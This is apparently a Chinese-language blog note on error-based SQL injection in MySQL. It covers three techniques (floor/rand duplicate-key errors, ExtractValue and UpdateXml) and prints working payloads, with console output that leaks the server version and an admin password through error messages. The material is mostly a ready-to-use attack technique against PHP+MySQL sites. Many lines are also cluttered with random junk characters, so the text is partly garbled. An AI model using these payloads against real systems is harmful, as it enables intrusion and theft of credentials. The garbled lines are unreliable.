关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
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mysql> show tables;
+----------------+
8 h! e, d+ J" Z  E: ~) P8 S| Tables_in_test |
$ R2 \$ V; ^( Z' k  B2 \8 y+----------------+
| admin          |
  _; g1 J1 k3 R2 ^1 P| article        |
3 e! K' Z6 V% ?: s+----------------+


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mysql> describe admin;
9 L( P0 t: `4 n; P) h6 V+-------+------------------+------+-----+---------+----------------+
( P- ^' j# n, L3 v| Field | Type             | Null | Key | Default | Extra          |
; J, C- {$ }! T9 m* U+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
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mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
4 I! x/ Z9 ?) @: S+ T| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
0 h/ C! }  r& r7 m) F2 || content | varchar(50)      | NO   |     | NULL    |                |
) M/ r0 c$ h! E  c+---------+------------------+------+-----+---------+----------------+
; I+ f9 c6 \9 e1、通过floor报错
可以通过如下一些利用代码
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1 u6 C. t, s$ `' }0 C% I! f# Land select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
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9 U' S' Z( X4 Sand (select count(*) from (select 1 union select null union select !1)x
8 `6 }/ X/ f7 W+ j% ^group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
6 v! d- `* N1 n9 m! z3 D/ e首先进行正常查询：
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mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
6 @9 ^# G( v; x) L: m% m|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
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* [1 Q* M/ L; x( u. jmysql> select * from article where id = 1 and (select 1 from
! W: ^2 \/ M8 R5 Q* a2 N7 _5 z(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2 n* f0 L7 x  T0 \! `ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:


$ r+ y- G% M0 f- b  {: D7 Pmysql> select * from article where id = 1 and (select 1 from
0 t( h1 j5 {& p5 S* R1 B' p3 k6 U$ ^(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
9 _+ ~3 x, Y" i6 w% Wfrom information_schema.tables group by x)a);
6 t0 k  z3 A* \' E6 XERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

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. p2 g2 I8 {/ T, t; n  Mmysql> select * from article where id = 1 and (select count(*)
+ w$ q7 q2 l  ]; p% i$ N$ u/ pfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
& p# {9 N$ s: w; H: hERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
4 P* _0 i$ [" X. l% P$ H2、ExtractValue
测试语句如下
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& I: u5 P" g' V* M, eand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
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! ?3 L4 b. Q4 w) @) W2 Fmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
5 M- p; u% [, m! {& N! p, N(select pass from admin limit 1)));--
: e! X: ^- }' jERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句


2 l! A5 L$ b; O; Oand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
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mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
3 R! Y$ d- G4 o& v+ L1 {All, thanks foreign guys.

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